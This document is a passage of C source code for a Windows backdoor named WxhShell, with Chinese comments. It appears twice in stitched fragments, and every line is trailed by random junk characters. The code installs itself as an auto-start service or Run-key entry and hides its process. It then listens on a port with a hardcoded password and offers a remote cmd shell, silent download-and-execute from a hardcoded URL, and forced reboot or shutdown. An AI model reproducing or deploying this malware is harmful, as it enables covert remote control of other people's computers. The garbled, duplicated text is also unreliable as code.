    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M<ba+Qn$  
    else { ?GGBDql  
    closesocket(wsh); .=@CF8ArG  
    ExitThread(0); &Y-jK<  
    } e|4U2\&3y  
    break; i}~U/.P   
    } \N.Bx  
  // 获取shell 'h>CgR^NM1  
  case 's': { 41c4Xj?'  
    CmdShell(wsh); cD9.L  
    closesocket(wsh); qjH/E6GGg  
    ExitThread(0); HJ!P]X_J1  
    break; \iAs  
  } :U6Q==B$_  
  // 退出 8>'vzc/* >  
  case 'x': { 07>Iq8<mu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H'jo 3d~+  
    CloseIt(wsh); F+9(*|x%  
    break; j5m]zh5\J=  
    } Dj{=Y`Tw  
  // 离开 'e8O \FOf  
  case 'q': { u(g9-O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EO"G(v  
    closesocket(wsh); ( #rhD}  
    WSACleanup(); Q$x 3uH\@  
    exit(1); )@6iQ  
    break; w5q'M  
        } <h*$bx]9 +  
  } gZ6tb p,X  
  } zRgl`zREr  
Z(BZG O<  
  // 提示信息 K5 Z'kkOk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LuWY}ste  
} BCt>P?,UO  
  } -fDW>]_  
<,Fj}T-  
  return; !gj_9"<  
} $`_xP1bUT  
\8]("l}ms8  
// shell模块句柄 +[Q`I*C  
int CmdShell(SOCKET sock) ML7qrc;Rx  
{ d8VFa'|  
STARTUPINFO si; b\C1qM4  
ZeroMemory(&si,sizeof(si)); iM~qSRb#mJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #yOn /  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f&? 8fB8{  
PROCESS_INFORMATION ProcessInfo; S~V?Qe@&Z  
char cmdline[]="cmd"; Im@Yx^gc   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a4eE/1  
  return 0; ) -@Dh6F  
} #g]eDU-[  
hv)d  
// 自身启动模式 mf\@vI  
int StartFromService(void) ] jycg@=B  
{ vzZ"TSP  
typedef struct 6IKi*}  
{ I~25}(IDZ"  
  DWORD ExitStatus; ]_2<uK}fg  
  DWORD PebBaseAddress; PGA `R  
  DWORD AffinityMask; +g% Ah  
  DWORD BasePriority; #fxdZm,  
  ULONG UniqueProcessId; i"#zb&~nF  
  ULONG InheritedFromUniqueProcessId; k];fQ7}m<0  
}   PROCESS_BASIC_INFORMATION; (ljoD[kZ  
e4 -7&8N+  
PROCNTQSIP NtQueryInformationProcess; @"0n8y  
A&:~dZ:%w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e.]k4K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :YNXS;>)!  
:@J.!dokF  
  HANDLE             hProcess; +6f[<^K#  
  PROCESS_BASIC_INFORMATION pbi; [W=6NAd  
>/y+;<MZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ig4mj47wJ  
  if(NULL == hInst ) return 0; /086qB|  
yVH>Q-{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zmy:Etqi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lA,*]Mr~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YH{FTVOt{C  
3'[ g2JR  
  if (!NtQueryInformationProcess) return 0; .%_=(C< E  
rG{,8*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;%4N@Z  
  if(!hProcess) return 0; "PC9[i  
zOMU&;.\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k Hh0&~ (  
^Dys#^  
  CloseHandle(hProcess); ]gmkajCzD  
xd^9R<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (BY5omlh  
if(hProcess==NULL) return 0; pt~b=+bBm  
gU@BEn}  
HMODULE hMod; z=K hbh  
char procName[255]; I->4Q&3  
unsigned long cbNeeded; N683!wNX  
`yrJ}f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )OV2CP  
AP(%m';  
  CloseHandle(hProcess); :xsNn55b  
ihopQb+k^m  
if(strstr(procName,"services")) return 1; // 以服务启动 D@yu2}F{IY  
YbuS[l8  
  return 0; // 注册表启动 F^X:5g~K  
} {GS$7n  
P]`m5 N  
// 主模块 u-HBmL  
int StartWxhshell(LPSTR lpCmdLine) 6G<gA>V  
{ "M=1Eb$6=  
  SOCKET wsl; Uw->5   
BOOL val=TRUE; $ cYKVhf  
  int port=0; S&F  
  struct sockaddr_in door;  @+!u{  
w7yz4_:x^  
  if(wscfg.ws_autoins) Install(); %#@5(_'  
@xN)mi  
port=atoi(lpCmdLine); $WG<  
:PQvt/-'(D  
if(port<=0) port=wscfg.ws_port; ^-26K|{3  
9v(k<('_  
  WSADATA data; 3/4r\%1b+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4! DXj0^  
6_O3/   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *."50o=T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fi';Mb3B3  
  door.sin_family = AF_INET; 48n7<M;I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N6%M+R/Q  
  door.sin_port = htons(port); !Bn,f2  
y/!jC]!+c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }Z8DVTpX}  
closesocket(wsl); GA2kg7  
return 1; YY 8vhnw  
} OsNJ;B  
%lSjC%Z'd  
  if(listen(wsl,2) == INVALID_SOCKET) { f}VIkx]X"  
closesocket(wsl); rjL4t^rT  
return 1; |M(0CYO  
} 0v'!(&m  
  Wxhshell(wsl); wZKEUJpQ  
  WSACleanup(); 8U7X/L  
aX|LEZ;D>  
return 0; @Jr@ fF}  
?a'P;&@7  
} \Qei}5P,  
z-?WU  
// 以NT服务方式启动 c_FnJ_++f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ljJR7<  
{ JId|LHf*P  
DWORD   status = 0; UGK,+FN  
  DWORD   specificError = 0xfffffff; oE'Flc.  
4'`y5E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "&1h<>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8d8GYTl b)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KN"<f:u  
  serviceStatus.dwWin32ExitCode     = 0; ZMmf!cKY:'  
  serviceStatus.dwServiceSpecificExitCode = 0; "E%3q3|"l  
  serviceStatus.dwCheckPoint       = 0; 6G]hs gro  
  serviceStatus.dwWaitHint       = 0; c^`(5}39v  
w4j,t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NLF6O9  
  if (hServiceStatusHandle==0) return;  g\=e86  
PR~9*#"v..  
status = GetLastError(); T/ TMi&:?.  
  if (status!=NO_ERROR) pEX|zee  
{ ><"0GPxrx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J|:Zs1.<d  
    serviceStatus.dwCheckPoint       = 0; {Q AV  
    serviceStatus.dwWaitHint       = 0; ^6FU]  
    serviceStatus.dwWin32ExitCode     = status; wUcp_)aE|  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ygfv?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +~eybm;  
    return; .|<+-Rsj  
  } Vl%jpjqP  
(v1~p3H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oO][X  
  serviceStatus.dwCheckPoint       = 0; 4 -Cca  
  serviceStatus.dwWaitHint       = 0; `rZS\A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IHvrx:7  
} CyD)=e {  
5nv1%48Ri  
// 处理NT服务事件,比如:启动、停止 nbdjk1E`~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6$LQO),,  
{ ]c\d][R N  
switch(fdwControl) % n~ 'UA  
{ )_\q)t"=  
case SERVICE_CONTROL_STOP: vDcYz,  
  serviceStatus.dwWin32ExitCode = 0; (?lKedA>2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zb& 3{,  
  serviceStatus.dwCheckPoint   = 0; |7%#z~rT  
  serviceStatus.dwWaitHint     = 0; <-F[q'!C1  
  { ^>m"j6`h,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,'>O#kD  
  } eGQ -Ht,N  
  return; q-TDg0  
case SERVICE_CONTROL_PAUSE: ,BE4z2a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U['|t<^uf  
  break; hLF;MH@  
case SERVICE_CONTROL_CONTINUE: B):hm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {`=k$1  
  break; D) ;w)`  
case SERVICE_CONTROL_INTERROGATE: J3,m{%EtNM  
  break; &~sirxR p  
}; 5;q{9wvqO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 22FHD4  
} /L*JHNu"_  
.l +yK-BZ  
// 标准应用程序主函数 > ,;<Bz|X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^~K[bFbW  
{ j-9Zzgr  
sG8G}f  
// 获取操作系统版本 pT'jX^BU  
OsIsNt=GetOsVer(); OO*2>Qy~z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $#/f+kble  
^s_7-p])(  
  // 从命令行安装 `$i/f(t6`  
  if(strpbrk(lpCmdLine,"iI")) Install(); XWv;l)  
yNOoAnGT W  
  // 下载执行文件 +S ],){  
if(wscfg.ws_downexe) { >m# bj^F\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9#b/D&pX5  
  WinExec(wscfg.ws_filenam,SW_HIDE); 55Ag<\7  
} }b=Cv?Zg$m  
_q=ua;I&  
if(!OsIsNt) { *m*sg64Zw  
// 如果时win9x,隐藏进程并且设置为注册表启动 +wxDK A_  
HideProc(); u?I2|}#  
StartWxhshell(lpCmdLine); l" +q&3Zx  
} !"<~n-$B  
else E8"$vl&c]  
  if(StartFromService()) L=wpZ`@ y  
  // 以服务方式启动 ?z0N- A2C2  
  StartServiceCtrlDispatcher(DispatchTable); 8ib%CYR  
else ?3a:ntX h  
  // 普通方式启动 F P>.@ Y  
  StartWxhshell(lpCmdLine); xASH- 9  
]3]=RuQK2  
return 0; 3H ,?ZFFGz  
} "r[Ob]/  
tZan1C%p>  
lGpci  
! q5qA*  
=========================================== 9A ?)n<3d  
v:?l C<,  
qrufnu5cC  
S pk8u4  
xq<X:\O  
cV:Ak~PKl  
" r1/9BTPKdJ  
JsHD3  
#include <stdio.h> hO; XJyv  
#include <string.h> &gsBbQ+qA  
#include <windows.h> h]pz12Yf  
#include <winsock2.h>  {[dY$  
#include <winsvc.h> Cf>(,rt};  
#include <urlmon.h> ZaF9Q%  
#jM-XK  
#pragma comment (lib, "Ws2_32.lib") Bu"5NB  
#pragma comment (lib, "urlmon.lib") T,h 9xl9i  
wEC,Mbn  
#define MAX_USER   100 // 最大客户端连接数 uYC1}Y5N  
#define BUF_SOCK   200 // sock buffer o>\o=%D.a  
#define KEY_BUFF   255 // 输入 buffer pD;fFLvN  
;b!qt-;.<  
#define REBOOT     0   // 重启 pv]" 2'aQ  
#define SHUTDOWN   1   // 关机 #p2`9o  
*" +u^  
#define DEF_PORT   5000 // 监听端口 ZQ{-6VCjl  
1P?|.W_^1  
#define REG_LEN     16   // 注册表键长度 Z}S7%m  
#define SVC_LEN     80   // NT服务名长度 H{hzw&dZ<P  
YO9;NA{sH  
// 从dll定义API _$i)bJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v1z d[jqk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %rJ 'DPs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GA;h7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7=gcdfW,;x  
UCJx{7  
// wxhshell配置信息 !cW!zP-B*p  
struct WSCFG { Up5|tx7  
  int ws_port;         // 监听端口 E8BIb 'b;  
  char ws_passstr[REG_LEN]; // 口令 &O#,"u/q`  
  int ws_autoins;       // 安装标记, 1=yes 0=no |#yH,f  
  char ws_regname[REG_LEN]; // 注册表键名 )3k?{1:  
  char ws_svcname[REG_LEN]; // 服务名 <QD[hO^/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JJK-+a6cX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Rqr>B(|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rFaG-R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ty'/i!/\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2'u%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fZrh_^yH  
LVT:oIQ  
}; Kc, i$FH  
L~AU4Q0o  
// default Wxhshell configuration Xw3j(`w$,  
struct WSCFG wscfg={DEF_PORT, a |#TnSk  
    "xuhuanlingzhe", 9{ #5~WP  
    1, N&^zXY  
    "Wxhshell", p<3<Zk 7~0  
    "Wxhshell", aa" 3 Io  
            "WxhShell Service", A9;,y'm^8  
    "Wrsky Windows CmdShell Service", $O%"[w  
    "Please Input Your Password: ", sou~m,#  
  1, SDB \6[D  
  "http://www.wrsky.com/wxhshell.exe", Bj<s!}i{[  
  "Wxhshell.exe" 4:5M,p  
    }; %SuELm  
xpc{#/Nk  
// 消息定义模块 yD#(Iw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `x_}mdR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uVTacN%X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #nw+U+qL  
char *msg_ws_ext="\n\rExit."; h'?v(k!  
char *msg_ws_end="\n\rQuit."; <Zvvx  
char *msg_ws_boot="\n\rReboot..."; LI].*n/v  
char *msg_ws_poff="\n\rShutdown..."; FbRGfHL[  
char *msg_ws_down="\n\rSave to "; X9ZHYlr+Q  
tQas_K5  
char *msg_ws_err="\n\rErr!"; KWojMPs  
char *msg_ws_ok="\n\rOK!"; RLZfXXMn  
)ZI#F]  
char ExeFile[MAX_PATH]; Em !%3C1r  
int nUser = 0; U.X` z3q  
HANDLE handles[MAX_USER]; `][vaLd`Q  
int OsIsNt; 4}s'xMT!  
YxrMr9>l1  
SERVICE_STATUS       serviceStatus; ` FOCX;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4XAs^>N+  
"blq)qo)  
// 函数声明 lV$CBS  
int Install(void); )K$YL='kX  
int Uninstall(void); ==Xy'n9'  
int DownloadFile(char *sURL, SOCKET wsh); Q-rG~O9-  
int Boot(int flag); g9fYt&  
void HideProc(void); U8J9 #+:  
int GetOsVer(void); lrj&60R`w  
int Wxhshell(SOCKET wsl); XRO(p`OE-  
void TalkWithClient(void *cs); < Sgc6>)  
int CmdShell(SOCKET sock); &>]U c%JK  
int StartFromService(void); 6~Dyr82"B  
int StartWxhshell(LPSTR lpCmdLine); e^oGiL ~  
9!FU,4 X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T*%rhnTv0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O-[  
"{\xBX~oM  
// 数据结构和表定义 ]YtN6Rq/  
SERVICE_TABLE_ENTRY DispatchTable[] = JsNj!aeU%  
{ {@F'BB\  
{wscfg.ws_svcname, NTServiceMain}, = pn;b1=  
{NULL, NULL} 7B=VH r  
}; zjh:jrv~  
`a83bF35  
// 自我安装 E*`PD<:)H  
int Install(void) ;i\N!T{>  
{ /(*Ucv2i}T  
  char svExeFile[MAX_PATH]; Wy}^5]R0E  
  HKEY key; 3E^qh03(  
  strcpy(svExeFile,ExeFile); }79O[&  
T~k@Z  
// 如果是win9x系统,修改注册表设为自启动 Qrt\bz h/}  
if(!OsIsNt) { -fXQ62:S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9!(%Vf>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }dpTR9j=  
  RegCloseKey(key); !y B4;f$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Li]96+C$}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (' 7$K  
  RegCloseKey(key); df$.gP  
  return 0; w%s];EE  
    } 2]I l:>n,  
  } tcT =a@  
} '(rD8 pc  
else { r{^43g?  
CgmAxcK  
// 如果是NT以上系统,安装为系统服务 a6j& po  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b>VV/j4!/  
if (schSCManager!=0) ]J'TebP=L5  
{ =Y81h-  
  SC_HANDLE schService = CreateService 4>i\r  
  ( z=) m6\  
  schSCManager, =PciLh  
  wscfg.ws_svcname, C\;l)h_{  
  wscfg.ws_svcdisp, rR :ZTfJs"  
  SERVICE_ALL_ACCESS, tT>LOI_z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }x\#ul)  
  SERVICE_AUTO_START, |Z94@uB  
  SERVICE_ERROR_NORMAL, Y(bB7tR  
  svExeFile, X!K>.r_Dg  
  NULL, Yi?bY  
  NULL, L7;~4_M9.V  
  NULL, S'8+jY  
  NULL, mjWU0.  
  NULL Y|Q(JX  
  ); E`I(x&_  
  if (schService!=0) n)"JMzjQ<  
  { -f&vH_eK  
  CloseServiceHandle(schService);  ?bVIH?  
  CloseServiceHandle(schSCManager); l[c '%M|N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0t%]z!  
  strcat(svExeFile,wscfg.ws_svcname); e}1Q+h\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w(&EZDe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \.}T_,I  
  RegCloseKey(key); XQ9W y  
  return 0; V%s7*`U  
    } )f|`mM4DW!  
  } j!>P7 8  
  CloseServiceHandle(schSCManager); OyVP_Yx,V  
} Lo1ySLo$G  
} ;W|NG3_y  
XDJE]2^52?  
return 1; myR{ }G  
} H" `'d  
'k[qx}  
// 自我卸载 ,\iHgsZ  
int Uninstall(void) 0(wu  
{ (Fon!_$:  
  HKEY key; ~q}L13^k  
(g@\QdH`|  
if(!OsIsNt) { mdEJ'];AH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0|Fx Sc  
  RegDeleteValue(key,wscfg.ws_regname); 'Og@<~/Xy  
  RegCloseKey(key); ?&#LmeZ}K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bh2l3J4X  
  RegDeleteValue(key,wscfg.ws_regname); <[)-Q~Gg5  
  RegCloseKey(key); W&Fm ;m@M  
  return 0; 3 R+e  
  } Pd~=:4  
} ZI!:  
} }6%XiP|  
else { 7Dbm s(:(  
]|tg`*l!>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Cjr]l!  
if (schSCManager!=0) (l^7EpNs  
{ &]o-ZZX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mG\QF0h  
  if (schService!=0) G-T^1?  
  { * ) <+u~  
  if(DeleteService(schService)!=0) { 8F8?1  
  CloseServiceHandle(schService); o'$"MC+  
  CloseServiceHandle(schSCManager); ]6^<VC`5D  
  return 0; g= $U&Hgs  
  } 8xO   
  CloseServiceHandle(schService); \,G9'c 'u  
  } 1;$XX#7o  
  CloseServiceHandle(schSCManager); aYaEy(m  
} N9_* {HOy  
} =WT$\KYGv  
L T$U z  
return 1; iibG$?(  
} cDY)QUmi  
H9(?yI@Zr#  
// 从指定url下载文件 s) ]j X  
int DownloadFile(char *sURL, SOCKET wsh) qX-ptsQ  
{ S{;Pga*Px  
  HRESULT hr; y(Gn+  
char seps[]= "/"; ML905n u  
char *token; 1z8"Gk6  
char *file; <3{MS],<<  
char myURL[MAX_PATH]; >n09K8 A  
char myFILE[MAX_PATH]; Jx.f DVJ  
am]M2+,2Ip  
strcpy(myURL,sURL); 'Nl hLu  
  token=strtok(myURL,seps); nU>P%|loXx  
  while(token!=NULL) pNb2t/8%%  
  { Sk|e#{  
    file=token; )*]A$\Oc[  
  token=strtok(NULL,seps); R7Y_ 7@p  
  } x8rg/y  
=:s`C,l.4  
GetCurrentDirectory(MAX_PATH,myFILE); WT ;2aS:  
strcat(myFILE, "\\"); SUUNC06V  
strcat(myFILE, file); o4kLgY !Q  
  send(wsh,myFILE,strlen(myFILE),0); &" t~d}Rg  
send(wsh,"...",3,0); w. k9{f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t<##0#xS.  
  if(hr==S_OK) [_'A(.  
return 0; y{hg4|\  
else }:IIk-JoC  
return 1; fwz:k]vk  
G{} 2"/   
} bXnUz?1!d  
Z&n[6aV'F  
// 系统电源模块 (&e!u{I  
int Boot(int flag) ki'$P.v{$w  
{ Xk4wU$1F  
  HANDLE hToken; l)[|wPf  
  TOKEN_PRIVILEGES tkp; tS2 &S 6u  
(kLaXayn  
  if(OsIsNt) { @-)?uYw:r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^y/Es2A#t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); * hs&^G  
    tkp.PrivilegeCount = 1; DU%E883  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5I2,za&e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); blgA`)GI  
if(flag==REBOOT) { 27D*FItc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,- AF8BP  
  return 0; A O:F*%Q u  
} %VO+\L8Fs  
else { #<*.{"T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d-~V.  
  return 0; Q ]CMm2L^f  
} @njNP^'Kx  
  } "u^Erj# /  
  else { Nu"v .]Y2  
if(flag==REBOOT) { 3}H{4]*%_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;_bRq:!j;  
  return 0; Uqel UL}  
} zzf@U&x<  
else { E#KZZ lbx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r W`7<3  
  return 0; h=A  
} NuQ!huh  
} +LRKS  
k77IXT_7u  
return 1; OvX&5Q5  
} {nKw<F2  
:|W=2( >  
// win9x进程隐藏模块 UT\4Xk<  
void HideProc(void) /yG7!k]Eg  
{ 12Oa_6<\0;  
hQ@k|3=Re  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t.9s49P  
  if ( hKernel != NULL ) (.:*GUg  
  { A]|w1nq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O-V|=t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DPT6]pl"y  
    FreeLibrary(hKernel); sjyr9AF  
  } K KB+o)*W  
6MVu"0#  
return; vS8& ,wJ!  
} 7%  D4  
rE m/Q!  
// 获取操作系统版本 oy8jc];SO  
int GetOsVer(void) `> %QCc\  
{ gE6'A  
  OSVERSIONINFO winfo; A r!0GwE+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t%Jk3W/f  
  GetVersionEx(&winfo); kGV:=h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MrR`jXz  
  return 1; B.; qvuM~  
  else H'k}/<%Q  
  return 0; \n[kzi7  
} VCWW(Y1Fd  
>aAM&4  
// 客户端句柄模块 eNd&47lJ  
int Wxhshell(SOCKET wsl) qzZ/%{Ak  
{ t<UJR*R=L  
  SOCKET wsh; V?M (exN  
  struct sockaddr_in client; uY.Ns ?8  
  DWORD myID; d1cp=RbC  
[Qnf]n\FJ  
  while(nUser<MAX_USER) E2dM0r<]  
{ Z^|N]Ej  
  int nSize=sizeof(client); ~X3g_<b_8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N9!L8BBaK  
  if(wsh==INVALID_SOCKET) return 1; VM%g QOo<  
t+U.4mS-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KZ%i&w#<  
if(handles[nUser]==0) |]9@JdmV  
  closesocket(wsh);  T01Iu  
else OIPY,cj~  
  nUser++; u!K1K3T6k  
  } FoetP`   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 01'>[h#_n  
MDlH[PJ@i  
  return 0; M.Yp'Av  
} C 7C4 eW8  
ooVs8T2  
// 关闭 socket 9ngxkOGx  
void CloseIt(SOCKET wsh) T`E0_ZU;  
{ ,m{R m0  
closesocket(wsh); i% 1UUI(W  
nUser--; {32m&a  
ExitThread(0); 7+P;s,mi7  
} Wq4<9D  
?y? 9;;  
// 客户端请求句柄 yh E%X  
void TalkWithClient(void *cs) jfMkN  
{ 1b%Oi.;  
(I~   
  SOCKET wsh=(SOCKET)cs; n[Q(q[ULV  
  char pwd[SVC_LEN]; r-y;"h'  
  char cmd[KEY_BUFF]; _Ay^v#a  
char chr[1]; qSNCBn '  
int i,j; UQDAql  
MKfK9>a  
  while (nUser < MAX_USER) { pT|s#-}  
G=zNZ  
if(wscfg.ws_passstr) { vclc%ws  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |*c1S -#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >=0]7k;  
  //ZeroMemory(pwd,KEY_BUFF); T_D3WHp  
      i=0; _Q1p_sdg  
  while(i<SVC_LEN) { ^4fvV\ne_~  
&x1A {j_  
  // 设置超时 @S@VsgQ%3Z  
  fd_set FdRead; h r];!.Fv  
  struct timeval TimeOut; xqX3uq  
  FD_ZERO(&FdRead); hP)Zm%@0f  
  FD_SET(wsh,&FdRead); C][$0  
  TimeOut.tv_sec=8; fB+h( 2N~  
  TimeOut.tv_usec=0; -~]H5er`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Mc,|C)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O.+J%],  
vW &G\L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9E ^!i  
  pwd=chr[0]; g[(@@TiG  
  if(chr[0]==0xd || chr[0]==0xa) { .aT@'a{F  
  pwd=0; K;6#v%  
  break; ':(AiD-}  
  } :GIBB=D9  
  i++; gkd4)\9  
    } gk|>E[.  
oJ4HvrUO  
  // 如果是非法用户,关闭 socket tY;<S}[@7w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0I.KHIB k  
} %j\&}>P4$  
ui>jJ(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Kzrd<h]`)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W/,bz",v3  
1O`V_d)  
while(1) { Po)U!5Tm  
;0Z-  
  ZeroMemory(cmd,KEY_BUFF); j1;[6XG  
` Tap0V  
      // 自动支持客户端 telnet标准   tBGLEeL/.  
  j=0; `TPIc  
  while(j<KEY_BUFF) { U\P4ts  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $rXCNew(  
  cmd[j]=chr[0]; +KbkdY Z  
  if(chr[0]==0xa || chr[0]==0xd) { b,^ "-r  
  cmd[j]=0; 4z(~)#'^  
  break; b1?^9c#0d  
  } Ss%Cf6qdWL  
  j++; T#qf&Q Z  
    } , Wd=!if  
@MOQk  
  // 下载文件 *F1TZ_GS  
  if(strstr(cmd,"http://")) { \}Am]Y/ w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OWibmX  
  if(DownloadFile(cmd,wsh)) ms0V1`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }*(_JR4G  
  else sm`c9[E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WOn<;'}M&  
  } ?xqS#^Z  
  else { !+eU  
!K(  
